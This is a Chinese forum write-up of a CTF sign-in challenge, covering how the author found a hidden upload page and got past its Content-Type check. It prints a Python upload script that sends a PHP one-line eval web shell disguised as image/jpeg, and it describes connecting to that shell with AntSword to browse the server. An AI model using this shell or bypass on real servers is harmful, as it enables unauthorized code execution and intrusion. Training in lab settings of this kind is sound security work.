-
-
[原创]CTF2024签到题
-
发表于: 2024-9-1 22:38 1001
-
1. 准备工作
- fiddle 抓包工具
- 中国蚁剑
- 需要有Python环境
2. 进入2024 CTF 签到题
(1)第一种方式
进入官网,选择CTF栏,点击进入签到题,然后启动靶机
(2)从特定网址进入
不推荐第二种方式,因为可能分数不会记录到kctf平台
3. 解题过程
(1)步骤1
进入题目后,点击左上角的Hint,会进入到9baK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Q4x3V1q4Q4x3X3g2F1L8$3c8W2i4K6u0W2M7r3g2V1K9i4W2Q4x3X3g2U0L8$3#2Q4x3@1p5^5x3g2)9J5c8X3k6D9j5h3N6Q4x3X3g2H3K9s2m8Q4c8e0g2Q4z5f1y4Q4b7U0m8Q4c8e0g2Q4z5f1c8Q4z5o6m8Q4c8e0c8Q4b7U0S2Q4b7f1c8Q4c8f1k6Q4b7V1y4Q4z5p5x3`.
(2)步骤2
右击当前界面--->查看网页源代码或者使用快键键ctrl + U,然后再网页源代码中,翻到最底下,可以看见一串base64编码后的字符串
将“aGlkZGVuX3BhZ2UucGhw”解码后为:hidden_page.php
这个根据命名单词来看,像一个隐藏页,那么进入网址输入栏中,将flag.php替换成hidden_page.php。
可以发现打开了一个上传文件的网页代码。
根据以往的出题经验以及网页中出现一个上传文件的操作,基本可以确定的是,本题考核的重点为“网络安全之文件漏洞”这系列的知识点,
使用php木马脚本访问服务器目录
参考以下资料:
(3)步骤3
当我们随意上传一个文件时,会提示只接收jpg和png图片格式的文件,
那么说明这个题目还带有文件格式校验,一般的校验会有以下几种方式:
- 网页源码中判断当前上传的文件类型
- 通过检查文件头信息(如png,jpg等)
- 上传文件以二进制形式下载,且不能在服务器端运行,防止木马文件直接执行
- 网络请求中对content-type字段进行判断
等等,那么进行逐一排查后发现,该题目采用的是对content-type字段进行判断,那么,可以采用Python编写网络请求的方式,进行绕过
首先使用fiddle进行网络抓包,抓取当前上传文件的网络请求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | POST http: / / 540e6f55 - 5819 - 4634 - a929 - e8c8098f8bec.node.pediy.com: 81 / hidden_page.php HTTP / 1.1 Host: 540e6f55 - 5819 - 4634 - a929 - e8c8098f8bec.node.pediy.com: 81 Connection: keep - alive Content - Length: 114786 Cache - Control: max - age = 0 Upgrade - Insecure - Requests: 1 Origin: http: / / 540e6f55 - 5819 - 4634 - a929 - e8c8098f8bec.node.pediy.com: 81 Content - Type : multipart / form - data; boundary = - - - - WebKitFormBoundaryRONsmeocBVn0GPig User - Agent: Mozilla / 5.0 (Windows NT 10.0 ; Win64; x64) AppleWebKit / 537.36 (KHTML, like Gecko) Chrome / 128.0 . 0.0 Safari / 537.36 Accept: text / html,application / xhtml + xml,application / xml;q = 0.9 ,image / avif,image / webp,image / apng, * / * ;q = 0.8 ,application / signed - exchange;v = b3;q = 0.7 Referer: http: / / 540e6f55 - 5819 - 4634 - a929 - e8c8098f8bec.node.pediy.com: 81 / hidden_page.php Accept - Encoding: gzip, deflate Accept - Language: zh - CN,zh;q = 0.9 ,en - US;q = 0.8 ,en;q = 0.7 - - - - - - WebKitFormBoundaryRONsmeocBVn0GPig Content - Disposition: form - data; name = "upload_file" ; filename = "RaingDay.jpg" Content - Type : image / jpeg JFIF C
|
抓取到的请求包如上所示,
那么接下来要做的是,如何将php一句话木马程序上传至服务器,并对服务器目录进行访问,
使用Python编写一个脚本,对当前服务器上传一个文件即可,只需要更改content-type字段为:'image/jpeg'即可上传任意类型的文件,
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | import requests url = "a17K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0f1@1x3r3f1$3k6U0f1#2i4K6u0V1y4e0R3I4z5g2)9J5k6o6b7$3x3K6c8Q4x3X3c8S2z5e0t1&6i4K6u0V1k6e0S2U0z5o6l9&6z5r3j5^5j5X3g2U0y4e0b7H3k6e0k6X3y4e0g2Q4x3X3b7#2z5o6p5&6i4K6u0V1y4o6j5K6y4q4)9J5k6r3p5&6x3U0W2Q4x3X3c8W2z5r3x3^5x3o6V1^5k6U0S2T1k6h3y4Q4x3X3g2F1L8$3c8W2i4K6u0W2M7r3g2V1K9i4W2Q4x3X3g2U0L8$3#2Q4x3@1p5^5x3g2)9J5c8X3S2A6k6r3c8W2L8W2)9#2k6Y4m8S2k6$3g2Q4x3X3g2H3K9s2l9`." headers = { "Host" : "540e6f55-5819-4634-a929-e8c8098f8bec.node.pediy.com:81" , "Connection" : "keep-alive" , "Cache-Control" : "max-age=0" , "Upgrade-Insecure-Requests" : "1" , "Origin" : "1fcK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0f1@1x3r3f1$3k6U0f1#2i4K6u0V1y4e0R3I4z5g2)9J5k6o6b7$3x3K6c8Q4x3X3c8S2z5e0t1&6i4K6u0V1k6e0S2U0z5o6l9&6z5r3j5^5j5X3g2U0i4K6u0W2L8X3!0V1k6g2)9J5k6i4m8W2k6r3W2&6i4K6u0W2j5$3!0E0i4K6y4m8z5o6p5`." , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" , "Referer" : "310K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0f1@1x3r3f1$3k6U0f1#2i4K6u0V1y4e0R3I4z5g2)9J5k6o6b7$3x3K6c8Q4x3X3c8S2z5e0t1&6i4K6u0V1k6e0S2U0z5o6l9&6z5r3j5^5j5X3g2U0i4K6u0W2L8X3!0V1k6g2)9J5k6i4m8W2k6r3W2&6i4K6u0W2j5$3!0E0i4K6y4m8z5o6q4Q4x3V1k6Z5K9h3c8V1k6h3&6Q4y4h3k6H3j5h3N6W2i4K6u0W2M7r3S2H3" , "Accept-Encoding" : "gzip, deflate" , "Accept-Language" : "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7" } # 文件内容 file_content = '''<?php @eval($_POST['shell']); echo"luck"; ?>''' # 将文件内容写入到一个文件中 with open ( 'dongtai.php' , 'w' ,encoding = 'utf-8' ) as f: f.write(file_content) # 将文件加入到请求的文件部分,并指定 Content-Type files = { 'upload_file' : ( 'dongtai.php' , open ( 'dongtai.php' , 'rb' ), 'image/jpeg' , { 'Content-Type' : 'image/jpeg' }) } # form-data 中的其他字段 data = { 'submit' : '上传' } # 发送 POST 请求 response = requests.post(url, headers = headers, files = files, data = data) # 打印响应内容 print (response.text) |
执行代码即可,需要注意的是,更改url地址及其header中对应的url地址
(4)步骤4
为啥我会知道有upload这个目录,因为经验,比如管理界面一般是userAdmin.pho,root.php等
界面中显示如下,即成功上传php文件,
现在打开中国蚁剑,右击选择添加数据,在打开的窗口中
链接密码:shell
其他默认即可
然后点击测试连接,提示连接成功即可,点击保存
双击上面这个刚刚建立的链接,然后就会进入到当前web后台的目录
最后,点击"/",进入最开始的根目录,就可以找到藏起来的flag了。
将该文件下载下来,就可以看见flag了,
本来以为还需要执行一次php文件,结果不用,尴尬
flag打开为:
4.总结
主要考查对网络安全方面的知识点,关于一句话木门,可以参考以下资料
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
- [原创]CTF2024签到题 1002